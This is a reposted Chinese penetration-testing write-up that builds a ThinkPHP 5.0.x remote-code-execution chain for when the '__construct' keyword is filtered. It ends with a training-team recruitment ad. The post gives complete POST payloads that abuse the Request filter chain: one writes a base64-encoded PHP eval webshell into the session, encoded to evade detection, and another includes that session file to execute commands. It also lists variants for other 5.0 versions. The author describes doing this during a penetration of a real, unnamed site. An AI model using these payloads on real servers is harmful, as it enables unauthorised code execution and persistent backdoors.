起因
在对某网站渗透过程中,通过报错页面发现网站架构为ThinkPHP 5.0.23,存在method RCE漏洞。但是,使用常规payload提示
__construct
关键字被禁用,因此payload无法生效。但是这个漏洞的关键点不在于__construct
方法,而是Request
类的method
方法可以让我们调用类中的任意方法,因此,开始寻找另一条利用链。
分析
-
漏洞利用点
-
Request
类的method
方法可以让我们调用类中的任意方法
-
分析
-
该类为ThinkPHP的请求类,主要存放请求中的各种信息,没有方法直接执行代码,但是通过
filter
链可以间接执行代码 -
难点:
-
之前的
payload
都是通过__construct
函数覆写请求中的参数信息以及filter
链,从而控制调用的函数以及参数 -
filter
函数仅能注册filter
链,无法覆写参数 -
思路
-
通过
filter
链将无法控制的参数引导到可以控制的参数
构造
-
由于官网不再提供5.0.23版本的下载,此处使用5.0.22完整版做实验,下载地址
-
PHP版本:7.3.4
开启debug模式
0. filter链
-
开启debug模式下,进入我们
filter
链的第一个参数为server[REQUEST_METHOD]
,即字符串POST
-
调用堆栈如图所示
1. phpinfo
-
phpinfo
函数可以接受一个整数作为参数,但是,当传入的参数为0
的时候,不会输出任何信息,因此intval
函数无法使用
-
需要寻找一个函数可以接受字符串作为参数,并能够返回一个不为0的整数,以供后续
phpinfo
使用 -
此处使用
error_report
函数,原型如下:
-
因此构造POC如下
- post : 0=error_reporting&1=phpinfo&_method=filter
-
filter
链为
- POST->error_reporting->phpinfo->输出信息
-
成功执行phpinfo
2. 写入session
-
直接使用
thinkSession::set
即可将经过filter
链的数据全部写入,防止查杀,添加一个base64
编码 -
POC
- POST
/index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=thinkSession::set&2=error_reporting&_method=filter
-
filter
链为
- 输入数据->bases64_decode->thinkSession::set->写入session
-
成功写入
3. 包含session
-
包含不存在的文件时,会报错,导致程序停止运行,因此,必须在第一个参数
POST
进入filter
链的时候,进行文件包含 -
此处的难点就转变为了将
POST
字符转换为文件名 -
经过查找,发现
thinkCookie::get
方法可以返回Cookie
中的字符串,从而得到文件名 -
构造
POC
- POST /index.php
Cookie: POST=session文件名
0=thinkCookie::get&1=think__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==
-
成功执行命令
未开启debug模式
-
暂未找到利用链
-
发现一个有趣的现象,在此记录一下
-
当程序执行流程中发生
Error
时,error_handler
会触发利用链 -
关闭
APP_DEBUG
-
在
route.php
文件中引入错误
-
发送payload,即可成功触发
-
原因
-
thinkError
类中的appError
方法在处理错误的过程中,会对参数进行收集,从而触发filter
链 -
其他
-
如果可以在注册完
filter
链之后,引起框架error
便可以触发payload -
可惜暂时未能找到引起框架
error
的方法
其它版本
-
5.0.21~5.0.23之间:以上
payload
均适用 -
5.0其它版本需要更改包含session的payload
- POST
/index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
1=think__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==
来源:先知(https://xz.aliyun.com/t/11189)
注:如有侵权请联系删除
船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
自己选择的路、
跪着也要把它走完。
原文始发于微信公众号(衡阳信安):TP5 RCE利用链改造
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论